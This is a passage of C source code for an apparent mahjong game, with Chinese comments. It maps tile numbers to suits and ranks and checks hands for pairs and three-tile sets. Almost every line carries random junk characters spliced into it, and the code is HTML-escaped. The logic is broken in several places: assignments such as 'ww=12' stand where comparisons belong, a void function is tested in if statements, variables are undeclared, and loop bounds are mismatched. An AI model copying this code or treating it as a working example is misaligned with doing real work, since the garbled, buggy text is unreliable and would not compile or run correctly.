5 G2 Y) Q+ @  V% a6 X4 Z9 _  ?8 Jelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)( Q* t/ G& ]- V/ Q" b+ E: |9 s
logoo=4;
3 z1 x0 b; n( L; R! L' b# welse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
  \' F' {+ a6 R1 r! b; m! ^- Zlogoo=5;$ F6 T" Y4 q2 c" C8 z$ l* \
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
0 n; \* N, X: y1 v4 a/ w! J& _logoo=6;
9 E: j  ^! O( v. xelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
, W. t8 l+ }& }; n- wlogoo=7;
& P1 m7 e* B8 m/ delse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)2 K  g# o2 N; F! P$ u" i( X- R
logoo=8;
8 \  Z# T! M! w7 m, nelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
7 g: J3 t" Q  X* Z" Qlogoo=9;+ J# l$ g. P1 t  Q# l6 h
}
- g/ Y9 B4 f+ Q2 Melse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)! K8 q) r. z/ m3 I
{
/ s4 Q1 n$ ?4 p) e7 R/ C3 }' Nlogo=3;
+ f, |7 E7 ?. H0 b2 l: ]2 j0 @5 Fif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)' i& Y7 b! d/ f8 ^4 L
logoo=1;
3 ]+ m) d0 G0 {8 ]+ l% q5 lelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)0 X4 q3 p3 ]1 A6 B( s, `! [" |
logoo=2;
. o  v/ N8 ?5 d  O3 V0 E5 ^else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
7 \9 r- @+ L4 m$ Tlogoo=3;
$ Q( T% z+ `0 a" ~, kelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
% H; [& o; T5 M' X& g- a/ Llogoo=4;% J  m8 x! ?5 K# Q8 g
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)) f' o2 H  q) _9 P2 f& |, c+ j
logoo=5;
/ r* J* L4 y! _1 Belse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
- u9 ~7 G4 Q4 d% |; f' y. G& V2 tlogoo=6;
& m: P6 o3 y3 R) @' ^8 nelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)* |. v* [4 k3 B1 s, r8 W! O
logoo=7;8 F( L* U/ D  w8 r& N5 T
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
0 }6 x  `* d) tlogoo=8;" P% {" L  `5 O6 R# {! Y
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
2 |9 h$ S2 d- m' Xlogoo=9;
& e( K; W; v$ B$ o5 a}
7 |7 W) C8 l  ]0 j- felse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)( k2 B' a' S" @: U6 V) q
{/ Y3 v% C9 h  j; j' v9 H7 a
logo=4;
" U0 X4 y& W8 W  p5 nif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
# V# l+ U$ t, S+ F- b. w# x, q8 H* [logoo=1;
& f+ V& U( V4 B; qelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)" a% j  ]% v) O6 a3 U- z" \) [$ M
logoo=2;7 i+ g1 W. v! g) a4 S. j) Q5 ]
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)1 O2 L/ a; C( Q# I
logoo=3;
% x' l# W: O! Q. P) ~else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)) b1 P8 ]2 R% {+ t# C
logoo=4;$ h+ a3 F6 E& Q! N( k" a. F3 e
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
* ]6 _5 J7 S" H5 l6 dlogoo=5;
. I+ |$ k9 ~) B4 G# h8 o  telse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
- P5 R6 J8 z' o& ilogoo=6;/ T% L1 q/ O' t6 j
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)2 u3 e  y2 X1 S# F( e) M8 a$ ]
logoo=7;  x1 X4 E6 f# B" h8 b, R; D
}% a" ?& b( h: p1 P
while(b&lt;=me.m)
3 k* Z6 q# {9 B+ L6 k5 \3 n' y{7 \( m+ z7 i1 C- W: |. A
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/8 |8 i1 g0 p+ J! C* y
{
3 m. E* l- m8 G+ ?+ |4 a# Zlg=1;+ X% I0 I/ }1 r. y, Z! a
me.pp.d[0]=1;
, X- a/ i# ?5 m) R9 q: F& N9 fif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0), v+ }  ~8 M" N* T" A. m" D
{
8 b" r( B, ]% slgg=1;
! ^% W& N5 m: Q+ ~, g) W% `% Ime.pp.d[1]=1;
, C; C* K* a+ H, A* d6 M* O}* `8 J: Z, P# m% I
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
3 B  @* L! q) G* w+ C{
7 B. X. K: X& K1 Y7 x* @  ~  Y6 rlgg=2;! E/ |# a1 r: p: e6 G
me.pp.d[1]=2;
+ z2 S" q7 `; |( A; N$ s0 Z}
/ E2 v9 k8 _9 R; o( r, m7 g, Gelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
+ X3 \9 A/ h' W, T, F{
. b- E/ g; K  e6 ?/ Ulgg=3;
- u# `5 M9 \1 J1 y! g! O7 eme.pp.d[1]=3;8 Y7 t0 W6 p& x5 M2 M
}- G' }9 r! @3 C' ?, ^4 y: L9 G
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
. \* x: h) x5 Q' }: M& V+ _; {{
7 d6 g! t, o1 o$ |! z  l3 Nlgg=4;
/ ^3 {4 r, Q# W. `7 ?, l* cme.pp.d[1]=4;
# F3 R* Y" \4 L}
- n0 n; r, f- W! kelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
+ G' {* B* v: \; e{
: I2 _' ~# e3 B) v/ `lgg=5;0 [# b* W/ H' o; U4 F, F/ W, f
me.pp.d[1]=5;
5 S) m4 ?/ E5 P' x" p0 F+ w8 f}! M  d% {. _$ N' a) Q+ A
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
9 O0 ^' R1 j/ V+ l" O4 T{: U5 C: `( D9 H6 E# T" K
lgg=6;( a) _9 F6 e; F
me.pp.d[1]=6;
$ H" j8 h: \" z$ L3 D3 H0 w}% ^1 G# }* ^, [
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)0 D) T) M( r1 z" f& ^) a
{
: t4 L: p  G( Q  Hlgg=7;  ^- H4 }) M/ n" V! @
me.pp.d[1]=7;
$ r  z, k. b0 O( E}, w+ n4 g1 M( @$ j% p
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
9 z0 }3 w% z& [. X( p! i6 p/ @{
% X- j5 W# p3 I& ^( ~1 Vlgg=8;$ W% S5 k5 X0 Q6 X: V! y& X+ i
me.pp.d[1]=8;- o2 C5 v' W! [0 W' {0 L
}
0 @! b4 `7 O* ^5 |' Eelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
% H0 ~2 [  D9 h: g4 _{
9 ~6 O! [/ V0 tlgg=9;& ~8 x) V: u1 a
me.pp.d[1]=9;8 Q" m' T  {8 Y* K3 z
}; ^, a# U3 Q* E" h  n2 _( Z
}
0 w7 R6 H  k# c, q4 Uelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)+ U& r+ I7 v% X2 U3 u
{% g/ H+ w& {$ A1 M
lg=2;# x9 ~! A  X1 A& E7 O
me.pp.d[0]=2;
* M- O" Q+ C7 e1 qif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36), _7 t; V0 }6 w1 X: H
{
- ]; R6 P8 J) D- y5 f6 m. c, K% H0 glgg=1;4 p, x+ k8 D* w4 X: Z) N& w1 W9 g) n
me.pp.d[1]=1;
0 s& p1 @6 C9 N1 D}: _$ n. g, {- r8 f
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)% A8 [" J7 p3 O, L- P) X
{: A1 B" O3 d% C6 r. o: s/ \
lgg=2;
* G  L/ i5 [( j* m% J, J2 H0 Sme.pp.d[1]=2;( V% d! C9 u" d  p& U$ h
}
5 T( d! x5 E7 S) V/ g- s7 Felse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
# s, D& c2 M; T+ }8 p: S" d" `. Y{
! b- B$ r, [" T5 P) h) }lgg=3;
7 ^& E' X( V) f  g" ^) {2 \me.pp.d[1]=3;$ M3 M5 W' d- N
}# G7 H' \" o( M- l7 S! p
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
" k0 {  D6 T7 e8 R3 h- Z{
2 s# T/ @8 G) L, {lgg=4;
$ ?: |% M4 a  y5 W8 t( J7 S4 Vme.pp.d[1]=4;
" Z. a! Z, S# P}3 t( o. N, j4 }' i, P0 Q
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
& }) R0 r+ J" s% F{
5 O% v, A; K, z: C- a4 mlgg=5;
% E2 g& [! k' a8 `7 n& Qme.pp.d[1]=5;) q1 @6 h. q6 [3 u7 ?
}. f' }; l6 t" f* b+ w, B
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)& c6 y0 W0 G! I1 c: {; z% Q
{8 y( b$ A+ V6 j* F4 C
lgg=6;+ i$ I! A- w) Q6 c: M1 G7 E
me.pp.d[1]=6;7 A+ F/ v/ I' \$ M8 C
}' X2 W8 m2 \7 \! `: a& O
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)) ~8 j& b3 p/ q$ q0 `% p2 u2 H
{
7 N9 n0 w8 H# _5 Y2 P8 ^2 M% clgg=7;
  @1 v/ s2 y  f- |1 l9 kme.pp.d[1]=7;9 K+ J0 L' [7 H) G; Q  C5 T- d
}" L9 t# n* o+ j
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
3 N. R+ _# r6 q5 ^$ C0 j{
5 ]4 O. L8 s! z7 m- olgg=8;7 g- b) t8 @# n4 C: G
me.pp.d[1]=8;
4 b8 T9 H! [9 H% Z; X' B}/ X4 P" `. w+ a* |5 r6 k% Z9 |: t
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)' Q% t5 p6 U8 h% l4 f6 R4 F
{
* A  ?: v* ]/ c$ F. H* P. j6 n2 plgg=9;" y( H  A+ R5 q  A  t8 E2 ~
me.pp.d[1]=9;
* K$ `4 l7 ^2 i0 `}
# T+ e" g: @8 g' O}
. r8 s; R' e- V3 x( W; [else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72), [- L7 D+ u3 @. H. y
{, ?2 D& j1 B& r( D
lg=3;
0 ^- d8 K4 X; e9 A+ I! f. u( ]+ }me.pp.d[0]=3;% B8 P+ h* ], Z, h
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)/ h1 X& z9 k5 h0 m
{
' G" Z8 O# y! Algg=1;4 i8 N* [4 F0 O) C% P
me.pp.d[1]=1;; T1 P( J+ G! f2 q
}& F- e# p8 }" a
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
% R% _) Y& f. u, J{* ~0 O3 A* N* E3 E, u% W& ~- d
lgg=2;' N: ]2 @9 ?& D( _
me.pp.d[1]=2;8 }+ n; N8 \4 m8 {/ A2 E2 s
}
& Q' |& `: P" welse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
+ O/ f2 _: N; R" s0 q  c5 h7 o- b1 o{
- h3 f0 ~* C/ y7 N% l4 {lgg=3;  z9 _8 \6 b. Z. y! I% z, w# e
me.pp.d[1]=3;
/ ~9 D+ e. g9 P- n3 b}
+ P9 m6 @- T' ]0 welse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)9 a+ ?7 q# v  q9 c4 G+ l
{3 d, h: y- w2 y# z; O5 ^3 m
lgg=4;; A0 K" K- Y( T
me.pp.d[1]=4;
& }% i( ?* t7 S  a( ^! q- [}& |- Q: |# ]5 k1 w
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88). D- M: V- i" z) p
{0 u& i& p5 i' i* z4 P: b
lgg=5;
, u& Y1 N( A* J: v8 [. L& Qme.pp.d[1]=5;& h2 ]9 @$ h  v+ A# K  P) h
}
0 R" x4 m  L% Y9 H3 X% |else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
/ B) S( c) f% J7 d6 j- ~{
* |6 b& U8 Y3 P6 olgg=6;
; d3 u! x9 }* J# M4 p) i& eme.pp.d[1]=6;7 ^) I. N/ l8 z2 ^
}: E! }" z$ e! j+ X( L
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
2 r7 s$ m/ s, B5 i{$ c  v8 u7 s/ b8 V3 [
lgg=7;9 M) k% c, `' N" q( w
me.pp.d[1]=7;
3 n7 t# ?! b! V" A5 c}) N- T5 h% H8 \# K* J8 N) y6 A
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
/ i- E5 P1 v* e$ U{8 \' ~5 y% w; Z% C7 ?8 ~
lgg=8;( o: g. G- d7 |2 z. u. V
me.pp.d[1]=8;4 j" L5 d! N3 W* a9 r0 L7 a) g
}7 f8 E5 ^5 x( P! @2 {( I; F
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
; k( {, r0 N3 D6 m) [+ h( Q{
1 F& m. R1 H% {) Olgg=9;
9 S, M; h1 l) _me.pp.d[1]=9;
  y& t# |) j8 a. a% n+ v}
' K5 K8 |) m& i3 Z9 a) }. T}
, e/ b+ s! T2 v$ J$ E& X& M2 Pelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)8 k' M% b% Z4 |! [$ V8 \
{
9 w1 f9 x" E! I/ m" ylg=4;
' a: r/ H$ ~4 y9 o. ?: B0 bme.pp.d[0]=4;4 K" a1 [$ z! A% W2 M0 B* v3 \& k$ _
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108); N- D! Z' T% q9 ^
{
' `) x, ?" M- O+ e9 ^lgg=1;
. j  N, d2 @/ y( ime.pp.d[1]=1;* S5 z* o& N% H& N
}, k% Y: G9 [' ~2 Q5 Z! f2 U' O
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
, y. _: i/ \& ^& z+ ^{: H  c/ [5 j$ x: M5 P
lgg=2;' G0 ]/ V; v( ?9 l7 q* l+ N6 m/ C
me.pp.d[1]=2;; I  D/ t6 y* u' G
}5 ~: G2 q" u/ m. N1 N+ {+ r7 S
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)! m5 t  t! q! d# @. h, B: M4 S
{# S; s" u& T$ n; U+ d9 W% S8 v
lgg=3;5 u& r, x. a* U2 _' n! C
me.pp.d[1]=3;! ]7 A% B: h* Z& r
}4 }  n$ y3 N6 M2 b/ N" u' X
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
6 S# x# M6 N: p, S5 r{
1 {5 \2 F& z+ t4 p; J- X( v( V9 Qlgg=4;
5 N8 \; C2 d# O7 `% U& U$ h8 Eme.pp.d[1]=4;
# u6 k- j. ^. m7 |}' \  m! Q! s, T$ a, y; K( i
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)( ^( ]4 D3 R+ b+ `
{- I8 m+ ~5 G1 k4 J; B
lgg=5;
' V. B6 D* _! K' L6 mme.pp.d[1]=5;6 B( P' e7 d2 h$ ]! D0 l2 R
}
! h- S' E  A. O! oelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
/ ^  {  C8 r- s/ E6 ?{
5 f: i6 R9 B- m! v+ ]$ S6 rlgg=6;
8 |) w9 y& `$ y1 `+ s" ime.pp.d[1]=6;" H' }7 |4 ?+ `! f. J. I+ I
}
) b. D+ t$ }, [else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)3 ], q0 t9 I0 g
{! o. a( ~, Z* v
lgg=7;7 c% @9 Z7 P) s3 a
me.pp.d[1]=7;/ z# Q* l" }1 W! k2 G
}$ J) H# o$ s+ G; b' T3 r# A# S3 G! r# W8 p
}
) _& a8 c0 }) q" f& I! c) l0 @0 m}
1 u4 v0 |: A" I- t+ Y$ F' v}1 A' t3 d2 Y& [! ^/ T) K1 c
void istwo(testt), p  N* a8 X8 m  x( X
int testt[];5 Z( s0 r8 x2 ?. K( C
{ if(testt[0]==testt[1])) p' G3 M; z* E, X4 G9 P1 |
second++;
/ h, K; c6 T0 }* z3 R" i}
, J. t% D: l* G, g$ l& y5 wvoid isthree(testt,n)5 K. K6 T9 N7 l! |% o' e
int testt[],n=0;
: t6 h( |& ~- x$ X{ int i,j,flage=0,lianx=0,same=0;
# a) X! a7 X/ p5 ^$ g  xn=n/3;/ b- r4 E9 {& x. V
for(j=0;j&lt;n;j++)& r% D! a$ `% b7 }7 p, A
{1 a5 M6 s# `7 e- Z* T+ `, {
for(i=j*3;i&lt;2+j*3;i++)- i( G+ v( o7 b6 C$ G2 v/ r
{- @+ C! c  O# M5 W# j% R7 S
if(testt==testt[i+1])5 P& G* S# L+ R) _# [6 o
same++;
  H3 z( f0 S7 r" M( gif(testt[i+1]-testt==1)
2 T" x; {* U- {4 Y" F* Hlianx++;
6 k! ~: m- B: [0 L. K: K}
$ Z% O7 Q* p. B5 g. hif(same==2)
! N& F& A& T8 |% O5 rthrees++;
7 ~' x  k; k+ K+ r" u) E( Nif(lianx==2)# _7 J: G4 [9 n' J
threes++;9 Y6 F! r* B1 ]. s% n$ d
same=0;
5 ?3 @& G) H# nlianx=0;, p: D: a3 o. H2 o: `
}2 d) T6 k: b$ W( M
}
# q1 R5 c; M# E3 Q9 x; u( Evoid panduan() /*本程序的精髓*/4 }* M/ M) Q& b, s! V
{int data[14];0 z8 t9 Y" m/ V0 Y$ y2 o9 P
int pw[14];/ [0 P4 e0 D  f
int pt[14];; z% ~9 H5 F# G  k+ @
int pi[14];
- Y  c' J% q9 Dint pf[14];
/ e" b! `$ Y( b7 @int test[12];* L& m1 Q  J" }# Z& C
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
1 [+ q0 I* v! `/ x+ W6 P( M, g4 Cfor(jj=0;jj&lt;=me.m;jj++)
( s" K( s  H9 G5 @{" D3 a8 t' S6 O5 g( m; G
if(me.pp[jj].d[0]==1)
3 q8 `. `0 ?1 Bdata[jj]=me.pp[jj].d[1];0 M9 i- X( h: x3 @
if(me.pp[jj].d[0]==2)* w* O7 N. E0 I7 ?
data[jj]=me.pp[jj].d[1]+10;
1 \. s: U9 y2 mif(me.pp[jj].d[0]==3)5 K$ S2 J  p+ b$ F5 M
data[jj]=me.pp[jj].d[1]+20;
0 |$ N8 f" r, c, T* Xif(me.pp[jj].d[0]==4)* n- }1 u4 a9 _. l7 W
data[jj]=me.pp[jj].d[1]+30;: T! D0 X+ j9 i% L( I& h0 {# s
}
, h# Q% s  o+ C2 x. oif(logo==2)
: S. y" d% k0 f8 S, j: F9 J5 a! hw=logoo+10;, {" O: w. {/ f* m  `9 d
if(logo==3)
1 I% t$ h) `- a; G0 vw=logoo+20;
6 y* O5 U9 \) ^. `2 K. _if(logo==4)) |' n, V& j1 v% V
w=logoo+30;
) F0 i' O5 }* ndata[computer.m+1]=w;8 W( u1 k9 x% e9 U* k9 _
for(mm=0;mm&lt;=computer.m;mm++)
+ U0 F" o- H0 z  Bfor(nn=mm;nn&lt;=computer.m;nn++)
- |  Y; @. B# @$ E7 X+ Cif(data[mm]&gt;data[nn+1])
! U! z0 Q6 \6 f; a$ o8 R{% k3 O: q) p# F! l2 Z( `; V, M9 n+ ]
tpp=data[mm];
/ i7 f. u  d6 g% ?- adata[mm]=data[nn+1];
, R6 z" u) }/ g9 l  ?( ~" Pdata[nn+1]=tpp;
1 i. z6 Z' p9 O/ p6 c) w) B}) T" y& L2 `" Q7 H8 _- J6 u3 ~
lp=0;* F0 H9 \0 j) L; U, B
while(lp&lt;=computer.m)0 R: W" P* R! n5 w
{ if(data[lp]&lt;10)
' e  {6 i2 y6 m  E2 y8 t) W3 N3 ?( apw[ww++]=data[lp];
$ F  G2 m+ m, v. eif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)3 C- X5 R3 ?7 d6 @7 K
pt[tt++]=data[lp];
8 C2 ^9 F+ q9 j; H: Xif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30): z. q4 L- s) N' r- v0 t$ q/ a
pi[ii++]=data[lp];" ^* B+ i0 P) D
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38). U. o5 `/ D8 E+ c# V
pf[ff++]=data[lp];
; I/ k( q7 K4 j& Vlp++;
" w" n" u) s4 ^# n}  d, k7 t# |. |2 S& v) B
if(ww==2)
9 q3 R, y0 H4 D! b4 f' Gistwo(pw);6 W2 U: m$ s5 n3 s- Q/ f5 Q% ~) i* }
else if(ww==3)
( ^  c) x9 n) d: R( tisthree(pw,ww);0 Y0 A, u) G6 v0 L/ g1 t& y
else if(ww==5)
" C: Z# }, f/ ]4 [1 x/*pw[5]原始牌数组,假设已经升序排列*/
8 l7 O6 M5 B1 a. u- {  I% T/*test[3]用来放置测试牌的数组*/+ H7 `8 |6 q8 e  b' @
for(i=0;i&lt;4;i++)# d$ h" O* J3 {# p/ S) B0 c
{
# W; E) Y, h! P) Qfor(j=0;j&lt;2;j++)
$ i1 J- c- }( V{test[j]=pw[i+j];+ e7 `* m7 @4 z6 r* {
}3 Y0 p, V( l0 Y( }
if(istwo(test))
6 `8 u6 q6 b% f" p- U3 I{ ill=0;9 F3 K( H4 X! n$ ]2 v! M
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
6 r( _% z# S2 B7 D/ L{if(kl==i)
: [  C% v* A% N7 C{
  p4 X6 P6 I$ x6 C. Mkl=kl+2;( A% X% n* L7 d) F% x4 A: M: `
if(kl==5)
6 L$ W- y& W( R; @, Pbreak;, O7 ?2 d5 l- K+ o9 z
}
! ~- G: D; o# @& etest[ill++]=pw[kl];
4 s6 R: C1 {: F8 y}
' V% i# j$ }1 N+ J  B4 `! e5 {isthree(test);' B' a; Q: L, Z  ~  @
}2 U3 Z$ `2 E* d1 ]2 U5 K" `
}: B2 `" |9 W2 b. e+ D+ S
else if(ww==6)+ {( ^( o5 S. K; K6 F' ]: t( l/ R
isthree(pw,ww);
5 M! C- G! o0 d! e5 _2 yelse if(ww==8)
/ c+ u# v" |$ y/ _for(i=0;i&lt;7;i++)
9 m; k! G; R' r! Y{( R2 z! S5 n" e8 @+ V
for(j=0;j&lt;2;j++)
5 J5 s) [9 |) _{test[j]=pw[i+j]; % b* b/ D9 F$ l& S( B, Q
}
/ x6 e- m& B5 d6 J. Tif(istwo(test))) a, f6 v+ }' w' z* e* k4 }4 g7 d
{ ill=0;
- h6 M$ A4 Y8 {% xfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
6 u6 E+ i- N2 g0 b( w) H{if(kl==i)* o2 t$ [! C8 n# S1 C$ p
{
0 }! ~  h# O' l& C) _9 vkl=kl+2;- J# \7 I3 E0 k' B3 B1 [+ s
if(kl==8)
+ g! d7 b& |) U0 v+ p3 Hbreak;
  t2 p9 F$ V/ \+ l6 J, `}1 R9 @5 h- n  d1 J
test[ill++]=pw[kl];
, F) a, r3 L5 _3 e% O}/ l: e$ t/ Y  y7 D
isthree(test,ww-2);
7 k: h. U: Z& e5 F* G}
' v- y$ R# v% E0 T, F; ^: Y- V}
: g3 j$ U2 A8 h! q9 Felse if(ww==9)
8 i' s& [4 O4 a3 u8 d4 O" T& Histhree(pw,ww);9 c9 ?/ f+ ^9 f, j3 R" k
else if(ww==11)
6 j6 g0 C# w' g( }' C( ?for(i=0;i&lt;10;i++)3 J* x( }4 v) j/ B' b
{* }3 J5 C# ~1 E
for(j=0;j&lt;2;j++)
* p; G% F4 J' P# E{test[j]=pw[i+j];
" _4 x7 Y. d3 u# A6 `) H}: k) G4 E$ P: B6 M- I6 O
if(istwo(test))
. W* m7 w: q2 e* f. T2 d  {0 ]2 Y{ ill=0;" r6 e4 D8 _6 X, Q# v5 p# R# E
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* {* {+ m) k9 ^9 {{if(kl==i)
5 J! n4 h  w/ }; r{5 E! Q3 O& B, |; h
kl=kl+2;
/ }% P9 X' g+ W  y7 E- Tif(kl==11)
3 X; B$ V, x2 `2 t& k; obreak;
$ R( f# y( @1 ~* S( r# u}
5 T. J8 N8 Q7 e- Etest[ill++]=pw[kl];( q4 {; U# j* f$ p
}  q8 J" N6 ^. _% ~$ ~) |/ i- C
isthree(test,ww-2); ' P- s% n, T5 {" s; @& g+ j
}$ E) \; |  ^4 z& S. f6 V0 c1 @
} % f$ ]/ \7 {) e0 g
else if(ww=12)
, h) G% [9 w! x; v0 Y# s9 sisthree(pw,ww);
, C; H- z! @6 d- f- u0 Helse if(ww=14)
* s! O/ ~& W0 y% Vfor(i=0;i&lt;13;i++)
8 N4 b5 ~( w$ s/ R. c( Z, j; ^{
% A1 I6 o7 F" W! y- j) |( ~7 q2 hfor(j=0;j&lt;2;j++)
6 P! I  k. S! O; K/ F{test[j]=pw[i+j];" ]3 z/ F/ N$ W6 c1 }, c
}
, @! C7 s# G: C$ l4 Aif(istwo(test))
" F, b: s& ~; ]0 i1 A0 g! n5 h/ Q{ ill=0;
' T- [* h9 u! g8 D1 J0 K  kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
/ }* w! |9 h& ^{if(kl==i)
& i% a+ k6 [8 x* h{
' }/ D( F* _* c) @) X9 vkl=kl+2;
) ^$ y  m) l7 _if(kl==14)
1 H7 w4 h4 }! W$ R5 Z9 Z: d* Vbreak;
( Z+ j0 X6 I7 \8 m+ [$ K}/ n1 e5 Z- v1 m/ j4 R% u* Y' M; ?
test[ill++]=pw[kl];
) w- E3 d1 q) A9 y* |% F}
% |* N7 N% L& V+ L% i8 ~# sisthree(test,ww-2);
  Q, B4 I! U4 J4 k* a' y}
* m6 ]) T. w# T+ o& k4 o! ]}% V! F" h2 l7 n
if(tt==2)* L9 ~3 M9 t3 F
istwo(pt);
+ {  m, C, I/ n6 Y( y  Kelse if(tt==3)
2 L* t, Y% q' t' g, j3 I+ cisthree(pt,tt);
4 G2 x" g# Z* D3 f! Delse if(tt==5). L! a1 A+ l- a+ I7 E
/*pt[5]原始牌数组,假设已经升序排列*/, m. Q+ e& N3 ?5 p2 o3 Q1 L
/*test[3]用来放置测试牌的数组*/, A/ \0 c3 b5 p5 ~9 B5 [+ s+ ]
for(i=0;i&lt;4;i++)
3 n+ B- n, I( m. [+ |{
0 O4 Z8 k1 M" T& I  X( l; ~, z% ~for(j=0;j&lt;2;j++)
% j0 U* F2 e9 y& P+ {  z{test[j]=pt[i+j]; 9 a" R2 i) E+ ~) c# ]; \. B, T
}" |( O  p5 b  y
if(istwo(test))5 l  ?. ]) ^5 H- M; w! |  q1 W8 {
{ ill=0;# ]: w- T& e) i/ r
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
/ e% j, B8 P. b6 M{if(kl==i)
5 e! p) o. u( K# f6 h1 v6 \{
7 Y9 S2 g: l& j+ t& D! Wkl=kl+2;" c1 b! o5 a: P8 A; k1 ^+ P
if(kl==5)
% K" N( V( M. Rbreak;
& U: M7 d) d* d8 i% N, O}) s8 @5 H8 N0 M! E. J
test[ill++]=pt[kl];, s. L/ i, Q: T  G& c
}
/ X$ W; K1 N$ ^* Iisthree(test);  Z  r1 D3 {1 V+ _% d0 L  r4 d
}' @1 x9 C6 A8 F( @# i9 |
}
! o( ]! Y9 \+ @: Z! E, \$ j+ u8 ?& N, welse if(tt==6)0 s/ `7 y) J$ s5 b; k% a2 W) K5 }
isthree(pt,tt);
; s5 C( B- w' j$ k" h% Lelse if(tt==8)
9 B+ u" h/ J! g  Z* i; ^1 Afor(i=0;i&lt;7;i++)7 r' k# b# V3 G. u. ^  o& @
{2 E3 w0 w: f) Z- Q. H4 l  s! @' z
for(j=0;j&lt;2;j++)1 y  k4 [  h% G2 q) Z2 F
{test[j]=pt[i+j]; 1 U/ e" Q5 a2 d6 \/ b
}
, C5 {' p" M7 q1 o' k- Uif(istwo(test))
$ ]+ U5 D1 b: ~: X7 ?{ ill=0;" P( R# |' Y; f7 C
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
. B& q* p) T2 T0 F8 a{if(kl==i)! [0 ?/ k; [- B: Z$ ?5 t; N
{0 F9 b- w7 R* H$ Q& a: d
kl=kl+2;# D0 [5 ^4 C4 a7 J) C! _/ b/ n/ |
if(kl==8)
, {; p, C: |. G( o: Q* Y9 rbreak;
